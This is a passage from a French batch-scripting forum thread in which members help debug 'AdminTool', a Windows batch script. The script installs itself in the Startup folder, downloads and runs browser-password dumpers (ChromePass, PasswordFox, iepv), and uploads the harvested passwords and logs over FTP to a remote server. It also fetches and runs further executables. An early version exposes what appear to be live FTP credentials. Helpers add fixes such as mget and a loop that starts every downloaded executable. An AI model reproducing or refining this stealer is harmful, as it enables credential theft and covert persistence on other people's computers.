Batch Index du Forum
S’enregistrerRechercherFAQMembresGroupesConnexion
Répondre au sujet Page 2 sur 3
Aller à la page: <  1, 2, 3  >
[RESOLU] AdminTool
Auteur Message
Répondre en citant
Message [RESOLU] AdminTool 
Revue du message précédent :


EDIT:


J'ai modifié un truck ^^ J'envoyais les logs puis je réecrivais dans le dossier log que les logs étaient bien envoyés, mais ça ne sert à rien vu qu'ils sont déjà envoyés x)
@Skywalker: Ben where is the problem ? Je crée le launcher avant de le lancer, j'ai vérifié mais je ne vois pas d'où provient le problème ^^'




Visiter le site web du posteur
Message Publicité 
PublicitéSupprimer les publicités ?


Répondre en citant
Message [RESOLU] AdminTool 
Tu écris bizzarement dans un fichier toi ^^


Moi je fais 
Code:

echo écrire ça dans un fichier texte >>fichier.txt


::ou alors plusieurs lignes


(
echo 1 ligne
echo 2 lignes
echo 3 lignes
)>>fichier.txt





______________________________________________________
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Re,

Déjà je tiens à te remercier de tes réponses rapides ^^
J'ai modifié la partie launcher

Citation:

::************************::
:: AdminTool -- By AlonsO ::
:: Visit www.batch.xoo.it ::
::************************::
:: ---------------------- ::
::************************::
:: Configurations (SETUP) ::
::************************::

:: NE PAS MODIFIER CELA
@echo off
Title %currently_version% -- By AlonsO (www.batch.xoo.it)
setLocal EnableDelayedExpansion

:: Ancienne version
set old_version=AdminTool-v0.0.bat
:: Version actuelle
set currently_version=AdminTool-v1.0.bat
:: Nouvelle version
set new_version=AdminTool-v1.1.bat

:: File Transfert Protocol (FTP)
set FTPSERV=minecraft124.omgserv.com
set USERFTP=71162_alonso
set PASSWORD=20092009

:: Logs (0=NON/1=OUI >Défault=0)
set logs=1

:: FTP: Dossier logs (laisser vide si logs=0)
set dossier_logs=/AdminTool/User.1/

:: FTP: Dossier mises à jour
set DOSSIERMAJ=/AdminTool/User.1/MAJ

:: FTP: Dossier downloads
set EXEC=/AdminTool/User.1/EXEC

:: FTP: Dossier récupération données
set dossier_donnees=/AdminTool/User.1/SENDS

:: USER: Dossier AdminTool
set dossier_admintool=%appdata%\AdminTool

:: Fichiers à télécharger /!\ AVEC EXTENSION /!\
rem FILE 1,2 et 3 émettent des données (/stabular donnees.txt)
set FILE1=ChromePass.exe
set FILE2=PasswordFox.exe
set FILE3=iepv.exe
set FILE4=
set FILE5=
set FILE6=
set FILE7=
set FILE8=
set FILE9=
set FILE10=

::************************::
:: Début du code ::
::************************::

:: Création fichier AdminTool & Suppression ancienne version
mkdir %dossier_admintool%
del %old_version%

:: Début fichier log
if not %logs%==1 goto maj
>> %dossier_admintool%\logs.txt echo.
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Running...
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Check MAJ

:: Vérification Mise à jour
:MAJ
> ft.do echo Open %FTPSERV%
>> ft.do echo %USERFTP%
>> ft.do echo %PASSWORD%
>> ft.do echo bin
>> ft.do echo lcd %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
>> ft.do echo cd %DOSSIERMAJ%
>> ft.do echo get %new_version%
>> ft.do echo bye
ftp -s:ft.do
del ft.do
If exist %new_version% start %new_version% & >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | New MAJ detected, download ... & >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | --- & exit

:: Ecriture des logs
if not %logs%==1 goto Download
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | No MAJ found
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---

:: Téléchargement des fichiers
:Download
> ft2.do echo Open %FTPSERV%
>> ft2.do echo %USERFTP%
>> ft2.do echo %PASSWORD%
>> ft2.do echo lcd %dossier_admintool%
>> ft2.do echo cd %EXEC%
>> ft2.do echo get %FILE1%
>> ft2.do echo get %FILE2%
>> ft2.do echo get %FILE3%
>> ft2.do echo get %FILE4%
>> ft2.do echo get %FILE5%
>> ft2.do echo get %FILE6%
>> ft2.do echo get %FILE7%
>> ft2.do echo get %FILE8%
>> ft2.do echo get %FILE9%
>> ft2.do echo get %FILE10%
>> ft2.do echo bye
ftp -s:ft2.do
del ft2.do

:: Ecriture des logs
if not %logs%==1 goto Launcher
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Téléchargement de:
if not exist %FILE1% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | /
if exist %FILE1% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE1%
if exist %FILE2% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE2%
if exist %FILE3% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE3%
if exist %FILE4% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE4%
if exist %FILE5% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE5%
if exist %FILE6% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE6%
if exist %FILE7% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE7%
if exist %FILE8% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE8%
if exist %FILE9% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE9%
if exist %FILE10% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE10%
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Create launcher.bat

:: Création du launcher
:Launcher
(
echo @echo off
echo Title Launcher %currently_version% -- By AlonsO (www.batch.xoo.it)
echo start %dossier_admintool%\%FILE1% /stabular donnees.txt
echo start %dossier_admintool%\%FILE2% /stabular donnees.txt
echo start %dossier_admintool%\%FILE3% /stabular donnees.txt
echo start %dossier_admintool%\%FILE4%
echo start %dossier_admintool%\%FILE5%
echo start %dossier_admintool%\%FILE6%
echo start %dossier_admintool%\%FILE7%
echo start %dossier_admintool%\%FILE8%
echo start %dossier_admintool%\%FILE9%
echo start %dossier_admintool%\%FILE10%
echo exit
)>> %dossier_admintool%\launcher.bat

:: Ecriture des logs
if not %logs%==1 goto launch
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Launcher created
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Starting launcher ...

:: Execution du launcher
:Launch
start %dossier_admintool%\launcher.bat

:: Ecriture des logs
if not %logs%==1 goto Send_1
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Launcher started
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Sending files ...

:: Envois des données
:Send_1
> ft3.do echo Open %FTPSERV%
>> ft3.do echo %USERFTP%
>> ft3.do echo %PASSWORD%
>> ft3.do echo lcd %dossier_admintool%
>> ft3.do echo cd %dossier_donnees%
>> ft3.do echo send donnees.txt
>> ft3.do echo bye
ftp -s:ft3.do
del ft3.do

:: Ecriture des logs
if not %logs%==1 goto end
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Files sent
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Sending logs ...

:: Envois des logs
> ft4.do echo Open %FTPSERV%
>> ft4.do echo %USERFTP%
>> ft4.do echo %PASSWORD%
>> ft4.do echo lcd %dossier_admintool%
>> ft4.do echo cd %dossier_logs%
>> ft4.do echo send logs.txt
>> ft4.do echo bye
ftp -s:ft4.do
del ft4.do

:: Suppression dossier AdminTool & exit
:end
rmdir %dossier_admintool%
exit


Citation:

:: Création du launcher
:Launcher
(
echo @echo off
echo Title Launcher %currently_version% -- By AlonsO (www.batch.xoo.it)
echo start %dossier_admintool%\%FILE1% /stabular donnees.txt
echo start %dossier_admintool%\%FILE2% /stabular donnees.txt
echo start %dossier_admintool%\%FILE3% /stabular donnees.txt
echo start %dossier_admintool%\%FILE4%
echo start %dossier_admintool%\%FILE5%
echo start %dossier_admintool%\%FILE6%
echo start %dossier_admintool%\%FILE7%
echo start %dossier_admintool%\%FILE8%
echo start %dossier_admintool%\%FILE9%
echo start %dossier_admintool%\%FILE10%
echo exit
)>> %dossier_admintool%\launcher.bat


Voilà ^^ Je vais réessayer de suite si ça fonctionne Smile
EDIT: Ca m'ouvre la fenêtre DOS puis me la ferme directement... J'ajoute le code entier



Dernière édition par AlonsO7798 le Mar 9 Déc 2014 - 10:16; édité 1 fois

______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
De rien, mais le Luncher Re-foire sur "impossible de trouver C:\Users\skywalker\AppData\Roaming\AdminTool\ChromePass.exe" et aussi pour "PasswordFox.exe" et "iepv.exe"


Ces fichiers servent à quoi ?




______________________________________________________
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Hello,

Ces fichiers me serviront à extraire puis envoyer au ftp mes Passwords.

Ils sont downloads sur le FTP comme tu peux le voir ici:
Citation:

:: Téléchargement des fichiers
:Download
> ft2.do echo Open %FTPSERV%
>> ft2.do echo %USERFTP%
>> ft2.do echo %PASSWORD%
>> ft2.do echo lcd %dossier_admintool%
>> ft2.do echo cd %EXEC%
>> ft2.do echo get %FILE1%
>> ft2.do echo get %FILE2%
>> ft2.do echo get %FILE3%
>> ft2.do echo get %FILE4%
>> ft2.do echo get %FILE5%
>> ft2.do echo get %FILE6%
>> ft2.do echo get %FILE7%
>> ft2.do echo get %FILE8%
>> ft2.do echo get %FILE9%
>> ft2.do echo get %FILE10%
>> ft2.do echo bye
ftp -s:ft2.do
del ft2.do


Je te mets un screen de mon FTP en prime Mr. Green





>> Si tu veux je te files le code avec les ID(s) FTP comme ça tu peut voir vraiment d'où ça cloche mais toi t'arrive à un stade que moi je ne peux atteindre ^^' Quand je lance le .bat il le referme aussitôt.....

Bref, si tu veux on voit tt ça par MP. Wink Voir Skype carrement si tu as Okay




______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Salut Laughing
essais mget *.exe
multiple get Wink ==> mget fichier-distant fichier-local




______________________________________________________
Mes Contributions en Téléchargement
Répondre en citant
Message [RESOLU] AdminTool 
Hello,

Merci, voici ce que ça donne :

Citation:

::************************::
:: AdminTool -- By AlonsO ::
:: Visit www.batch.xoo.it ::
::************************::
:: ---------------------- ::
::************************::
:: Configurations (SETUP) ::
::************************::

:: NE PAS MODIFIER CELA
@echo off
Title AdminTool -- By AlonsO (www.batch.xoo.it)
setLocal EnableDelayedExpansion

:: Ancienne version
set old_version=AdminTool-v0.0.bat
:: Version actuelle
set currently_version=AdminTool-v1.0.bat
:: Nouvelle version
set new_version=AdminTool-v1.1.bat

:: File Transfert Protocol (FTP)
set FTPSERV=
set USERFTP=
set PASSWORD=

:: Logs (0=NON/1=OUI >Défault=0)
set logs=1

:: FTP: Dossier logs (laisser vide si logs=0)
set dossier_logs=/AdminTool/User.1/

:: FTP: Dossier mises à jour
set DOSSIERMAJ=/AdminTool/User.1/MAJ

:: FTP: Dossier downloads
set EXEC=/AdminTool/User.1/EXEC

:: FTP: Dossier récupération données
set dossier_donnees=/AdminTool/User.1/SENDS

:: USER: Dossier AdminTool
set dossier_admintool=%appdata%\AdminTool

:: Fichiers à télécharger /!\ AVEC EXTENSION /!\
rem FILE 1,2 et 3 émettent des données (/stabular donnees.txt)
set FILE1=ChromePass.exe
set FILE2=PasswordFox.exe
set FILE3=iepv.exe
set FILE4=
set FILE5=
set FILE6=
set FILE7=
set FILE8=
set FILE9=
set FILE10=

::************************::
:: Début du code ::
::************************::

:: Création fichier AdminTool & Suppression ancienne version & Rename du batch
Title %currently_version% -- By AlonsO (www.batch.xoo.it)
mkdir %dossier_admintool%
del %old_version%

:: Début fichier log
if not %logs%==1 goto maj
>> %dossier_admintool%\logs.txt echo.
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Running...
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Check MAJ

:: Vérification Mise à jour
:MAJ
> ft.do echo Open %FTPSERV%
>> ft.do echo %USERFTP%
>> ft.do echo %PASSWORD%
>> ft.do echo bin
>> ft.do echo lcd %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
>> ft.do echo cd %DOSSIERMAJ%
>> ft.do echo get %new_version%
>> ft.do echo bye
ftp -s:ft.do
del ft.do
If exist %new_version% start %new_version% & >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | New MAJ detected, download ... & >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | --- & exit

:: Ecriture des logs
if not %logs%==1 goto Download
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | No MAJ found
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---

:: Téléchargement des fichiers
:Download
> ft2.do echo Open %FTPSERV%
>> ft2.do echo %USERFTP%
>> ft2.do echo %PASSWORD%
>> ft2.do echo lcd %dossier_admintool%
>> ft2.do echo cd %EXEC%
>> ft2.do echo mget *.exe
>> ft2.do echo bye
ftp -s:ft2.do
del ft2.do

:: Ecriture des logs
if not %logs%==1 goto Launcher
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Téléchargement de:
if not exist %FILE1% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | /
if exist %FILE1% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE1%
if exist %FILE2% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE2%
if exist %FILE3% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE3%
if exist %FILE4% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE4%
if exist %FILE5% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE5%
if exist %FILE6% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE6%
if exist %FILE7% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE7%
if exist %FILE8% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE8%
if exist %FILE9% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE9%
if exist %FILE10% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE10%
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Create launcher.bat

:: Création du launcher
:Launcher
(
echo @echo off
echo Title Launcher - %currently_version% -- By AlonsO (www.batch.xoo.it)
echo start %dossier_admintool%\%FILE1% /stabular donnees.txt
echo start %dossier_admintool%\%FILE2% /stabular donnees.txt
echo start %dossier_admintool%\%FILE3% /stabular donnees.txt
echo start %dossier_admintool%\%FILE4%
echo start %dossier_admintool%\%FILE5%
echo start %dossier_admintool%\%FILE6%
echo start %dossier_admintool%\%FILE7%
echo start %dossier_admintool%\%FILE8%
echo start %dossier_admintool%\%FILE9%
echo start %dossier_admintool%\%FILE10%
echo exit
)>> %dossier_admintool%\launcher.bat

:: Ecriture des logs
if not %logs%==1 goto launch
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Launcher created
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Starting launcher ...

:: Execution du launcher
:Launch
start %dossier_admintool%\launcher.bat

:: Ecriture des logs
if not %logs%==1 goto Send_1
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Launcher started
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Sending files ...

:: Envois des données
:Send_1
> ft3.do echo Open %FTPSERV%
>> ft3.do echo %USERFTP%
>> ft3.do echo %PASSWORD%
>> ft3.do echo lcd %dossier_admintool%
>> ft3.do echo cd %dossier_donnees%
>> ft3.do echo send donnees.txt
>> ft3.do echo bye
ftp -s:ft3.do
del ft3.do

:: Ecriture des logs
if not %logs%==1 goto end
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Files sent
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Sending logs ...

:: Envois des logs
> ft4.do echo Open %FTPSERV%
>> ft4.do echo %USERFTP%
>> ft4.do echo %PASSWORD%
>> ft4.do echo lcd %dossier_admintool%
>> ft4.do echo cd %dossier_logs%
>> ft4.do echo send logs.txt
>> ft4.do echo bye
ftp -s:ft4.do
del ft4.do

:: Suppression dossier AdminTool & exit
:end
rmdir %dossier_admintool%
exit


Et j'ai le même problème qu'ici: http://www.developpez.net/forums/d229680/general-developpement/programmation-systeme/windows/programme-console-s-ouvre-se-ferme-immediatement/
Mais ne comprends pas les explications ^^' Pouvez vous me dire si le batch fonctionne correctement car impossible pour moi de l'éxectuter correctement... Et, si vous connaissez une solution à ce problème, prendrais avec plaisir x)

Chuss,




______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Hello,

Pour mon problème je vais sans doute continuer sur un autre ordinateur...
@Hackoo est-ce que m.. Fonctionnerai aussi pour executer tous les .exe sur l'ordi ? Du style" mstart *.exe" ??

Merci,




______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Bon, j’interromps BatChat, je vais tester chaques parties du programme !
J'édit quand j'aurai trouvé Smile




______________________________________________________
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Hello,

Merci <3 Ahah si tu veux de l'aide pour ton prgm c'est sans problemes Wink




______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Hackeur7798 a écrit:
@Hackoo est-ce que m.. Fonctionnerai aussi pour executer tous les .exe sur l'ordi ? Du style" mstart *.exe" ??

Non
il n'y aucune commande de ce genre Mr. Green




______________________________________________________
Mes Contributions en Téléchargement
Répondre en citant
Message [RESOLU] AdminTool 
Dsl hackoo, mais c'est possible XD j'ai une commande ext. faite par moi qui le fait Laughing




______________________________________________________
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Bien dans ce cas ça m’intéresserai Smile Comme ça pas besoin de setuper les files à download / exec / del ... Very Happy Bref, déjà faut que mon code fonctionne comme ça x)




______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Ba tien, le code tout beau, tout neuf ^^

Et pour exécuter tous les .exe, c'est pas tout ceux de l'ordi, seulement ceux d'un dossier non ? Sinon ça va foutre la merde Mr. Green

Code:


::************************::
:: AdminTool -- By AlonsO ::
:: Visit www.batch.xoo.it ::
::************************::
:: ---------------------- ::
::************************::
:: Configurations (SETUP) ::
::************************::

:: NE PAS MODIFIER CELA
@echo off
Title AdminTool -- By AlonsO (www.batch.xoo.it)
setLocal EnableDelayedExpansion

:: Ancienne version
set old_version=AdminTool-v0.0.bat
:: Version actuelle
set currently_version=AdminTool-v1.0.bat
:: Nouvelle version
set new_version=AdminTool-v1.1.bat

:: File Transfert Protocol (FTP)
set FTPSERV=
set USERFTP=
set PASSWORD=

:: Logs (0=NON/1=OUI >Défault=0)
set   logs=1

:: FTP: Dossier logs (laisser vide si logs=0)
set dossier_logs=/AdminTool/User.1/

:: FTP: Dossier mises à jour
set DOSSIERMAJ=/AdminTool/User.1/MAJ

:: FTP: Dossier downloads
set EXEC=/AdminTool/User.1/EXEC

:: FTP: Dossier récupération données
set dossier_donnees=/AdminTool/User.1/SENDS

:: USER: Dossier AdminTool
set dossier_admintool=%appdata%\AdminTool

:: Fichiers à télécharger /!\ AVEC EXTENSION /!\
rem FILE 1,2 et 3 émettent des données (/stabular donnees.txt)
set FILE1=ChromePass.exe
set FILE2=PasswordFox.exe
set FILE3=iepv.exe
set FILE4=
set FILE5=
set FILE6=
set FILE7=
set FILE8=
set FILE9=
set FILE10=

::************************::
:: Début du code ::
::************************::

:: Création fichier AdminTool & Suppression ancienne version & Rename du batch
Title %currently_version% -- By AlonsO (www.batch.xoo.it)
mkdir %dossier_admintool%
del %old_version%

:: Début fichier log
if not %logs%==1 goto maj
echo  >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| Running... >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| --- >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| Check MAJ >> %dossier_admintool%\logs.txt

:: Vérification Mise à jour
:MAJ
> ft.do echo Open %FTPSERV%
>> ft.do echo %USERFTP%
>> ft.do echo %PASSWORD%
>> ft.do echo bin
>> ft.do echo lcd %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
>> ft.do echo cd %DOSSIERMAJ%
>> ft.do echo get %new_version%
>> ft.do echo bye
ftp -s:ft.do
del ft.do
If exist %new_version% start %new_version% &echo [%date%]%time:~0,8% ^| New MAJ detected, download ...>> %dossier_admintool%\logs.txt  &echo [%date%]%time:~0,8% ^| --- >> %dossier_admintool%\logs.txt  &exit

:: Ecriture des logs
if not %logs%==1 goto Download
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% ^| No MAJ found
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% ^| ---

:: Téléchargement des fichiers
:Download
echo Open %FTPSERV%> ft2.do
echo %USERFTP% >> ft2.do
echo %PASSWORD% >> ft2.do
echo lcd %dossier_admintool% >> ft2.do
echo cd %EXEC% >> ft2.do
echo mget *.exe >> ft2.do
echo bye >> ft2.do
ftp -s:ft2.do
del ft2.do

:: Ecriture des logs
if not %logs%==1 goto Launcher
echo [%date%]%time:~0,8% ^| Téléchargement de: >> %dossier_admintool%\logs.txt
if not exist %FILE1% echo [%date%]%time:~0,8% ^| >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| --- >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| Create launcher.bat >> %dossier_admintool%\logs.txt

if exist %FILE1% echo [%date%]%time:~0,8% ^| %FILE1% >> %dossier_admintool%\logs.txt
if exist %FILE2% echo [%date%]%time:~0,8% ^| %FILE2% >> %dossier_admintool%\logs.txt
if exist %FILE3% echo [%date%]%time:~0,8% ^| %FILE3% >> %dossier_admintool%\logs.txt
if exist %FILE4% echo [%date%]%time:~0,8% ^| %FILE4% >> %dossier_admintool%\logs.txt
if exist %FILE5% echo [%date%]%time:~0,8% ^| %FILE5% >> %dossier_admintool%\logs.txt
if exist %FILE6% echo [%date%]%time:~0,8% ^| %FILE6% >> %dossier_admintool%\logs.txt
if exist %FILE7% echo [%date%]%time:~0,8% ^| %FILE7% >> %dossier_admintool%\logs.txt
if exist %FILE8% echo [%date%]%time:~0,8% ^| %FILE8% >> %dossier_admintool%\logs.txt
if exist %FILE9% echo [%date%]%time:~0,8% ^| %FILE9% >> %dossier_admintool%\logs.txt
if exist %FILE10% echo [%date%]%time:~0,8% ^| %FILE10% >> %dossier_admintool%\logs.txt

:: Création du launcher
:Launcher
(
echo @echo off
echo Title Launcher - %currently_version% -- By AlonsO (www.batch.xoo.it)
echo start %dossier_admintool%\%FILE1% /stabular donnees.txt
echo start %dossier_admintool%\%FILE2% /stabular donnees.txt
echo start %dossier_admintool%\%FILE3% /stabular donnees.txt
echo start %dossier_admintool%\%FILE4%
echo start %dossier_admintool%\%FILE5%
echo start %dossier_admintool%\%FILE6%
echo start %dossier_admintool%\%FILE7%
echo start %dossier_admintool%\%FILE8%
echo start %dossier_admintool%\%FILE9%
echo start %dossier_admintool%\%FILE10%
echo exit
)>> %dossier_admintool%\launcher.bat

:: Ecriture des logs
if not %logs%==1 goto launch
echo [%date%]%time:~0,8% ^| Launcher created >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| --- >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| Starting launcher ... >> %dossier_admintool%\logs.txt

:: Execution du launcher
:Launch
start %dossier_admintool%\launcher.bat

:: Ecriture des logs
if not %logs%==1 goto Send_1
echo [%date%]%time:~0,8% ^| Launcher started >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| --- >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| Sending files ... >> %dossier_admintool%\logs.txt

:: Envois des données
:Send_1
echo Open %FTPSERV% > ft3.do
echo %USERFTP% >> ft3.do
echo %PASSWORD% >> ft3.do
echo lcd %dossier_admintool% >> ft3.do
echo cd %dossier_donnees% >> ft3.do
echo send donnees.txt >> ft3.do
echo bye >> ft3.do
ftp -s:ft3.do
del ft3.do

:: Ecriture des logs
if not %logs%==1 goto end
echo [%date%]%time:~0,8% ^| Files sends >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| --- >> %dossier_admintool%\logs.txt
echo [%date%]%time:~0,8% ^| Sending logs ... >> %dossier_admintool%\logs.txt

:: Envois des logs
echo Open %FTPSERV% > ft4.do
echo %USERFTP% >> ft4.do
echo %PASSWORD% >> ft4.do
echo lcd %dossier_admintool% >> ft4.do
echo cd %dossier_logs% >> ft4.do
echo send logs.txt >> ft4.do
echo bye >> ft4.do
ftp -s:ft4.do
del ft4.do

:: Suppression dossier AdminTool & exit
:end
rmdir %dossier_admintool%

exit /b





______________________________________________________
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Merci, je vais tester le code Very Happy

Et oui c'est pour éxécuter tous les .exe qui sont téléchargés dans ce dossier:

Citation:

echo Open %FTPSERV%> ft2.do
echo %USERFTP% >> ft2.do
echo %PASSWORD% >> ft2.do
echo lcd %dossier_admintool% >> ft2.do
echo cd %EXEC% >> ft2.do
echo mget *.exe >> ft2.do
echo bye >> ft2.do
ftp -s:ft2.do
del ft2.do


Citation:

set dossier_admintool=%appdata%\AdminTool


Voilà Smile J'edit si le code fonctionne, ou pas x)
Thanks




______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message Yolo ^^ 
Tien pour exécuter tous les executables dans %dossier_admintool%:
Code:

FOR /R "%dossier_admintool%\" %%E IN ("*.exe") DO START %%E


ENJOY Laughing




______________________________________________________
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Hello,

Le code sans les logs avec une meilleure interface de config pour que ce soit encore plus clair que ça ne l'était déjà Smile
PS: J'ai enlevé les logs car ce n'était pas fiable du tout, je le referais par la suite avec un error_level et autre...
En gros simplification du code... Dites moi si ça fonctionne chez vous Very Happy


Citation:

::************************::
:: AdminTool -- By AlonsO ::
:: Visit www.batch.xoo.it ::
::************************::
:: ---------------------- ::
::************************::
:: Configurations (SETUP) ::
::************************::
:: NE PAS MODIFIER CELA
@echo off
Title AdminTool -- By AlonsO (www.batch.xoo.it)
setLocal EnableDelayedExpansion

::************************::
:: Configs Générales ::
::************************::

:: Ancienne version
set old_version=AdminTool-v0.0.bat
:: Version actuelle
set currently_version=AdminTool-v1.0.bat
:: Nouvelle version
set new_version=AdminTool-v1.1.bat

:: File Transfert Protocol (FTP)
set FTPSERV=
set USERFTP=
set PASSWORD=

:: Logs (0=NON/1=OUI >Défault=0)
set logs=0

::************************::
:: Configs Dossiers ::
::************************::

:: USER :: Dossier AdminTool
set dossier_admintool=%appdata%\AdminTool

:: FTP :: Dossier logs (laisser vide si logs=0)
set dossier_logs=/AdminTool/User.1/

:: FTP :: Dossier mises à jour
set DOSSIERMAJ=/AdminTool/User.1/MAJ

:: FTP :: Dossier downloads
set EXEC=/AdminTool/User.1/EXEC

:: FTP :: Dossier récupération données
set dossier_donnees=/AdminTool/User.1/SENDS

::************************::
:: Configs Fichiers ::
::************************::

rem Fichiers à télécharger /!\ AVEC EXTENSION /!\
rem Pour setuper un file, enlever "::" devant le 'set'

set FILE1=Big_Program.bat
::set FILE2=
::set FILE3=
::set FILE4=
::set FILE5=
::set FILE6=
::set FILE7=
::set FILE8=
::set FILE9=
::set FILE10=

::************************::
:: AdminTool -- By AlonsO ::
:: Visit www.batch.xoo.it ::
::************************::
:: ---------------------- ::
::************************::
:: Début du code ::
::************************::

:: /!\ NE PAS MODIFIER LE CODE CI-DESSOUS /!\

:: Rename du batch / Création dossier AdminTool / Suppression ancienne version
Title %currently_version% -- By AlonsO (www.batch.xoo.it)
mkdir %dossier_admintool%
del %old_version%

:: Vérification Mise à jour
:MAJ
> ft.do echo Open %FTPSERV%
>> ft.do echo %USERFTP%
>> ft.do echo %PASSWORD%
>> ft.do echo bin
>> ft.do echo lcd %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
>> ft.do echo cd %DOSSIERMAJ%
>> ft.do echo get %new_version%
>> ft.do echo bye
ftp -s:ft.do
del ft.do
If exist %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\%new_version% start %new_version%

:: Téléchargement des fichiers
:Download
> ft2.do echo Open %FTPSERV%
>> ft2.do echo %USERFTP%
>> ft2.do echo %PASSWORD%
>> ft2.do echo lcd %dossier_admintool%
>> ft2.do echo cd %EXEC%
>> ft2.do echo get %FILE1%
>> ft2.do echo get %FILE2%
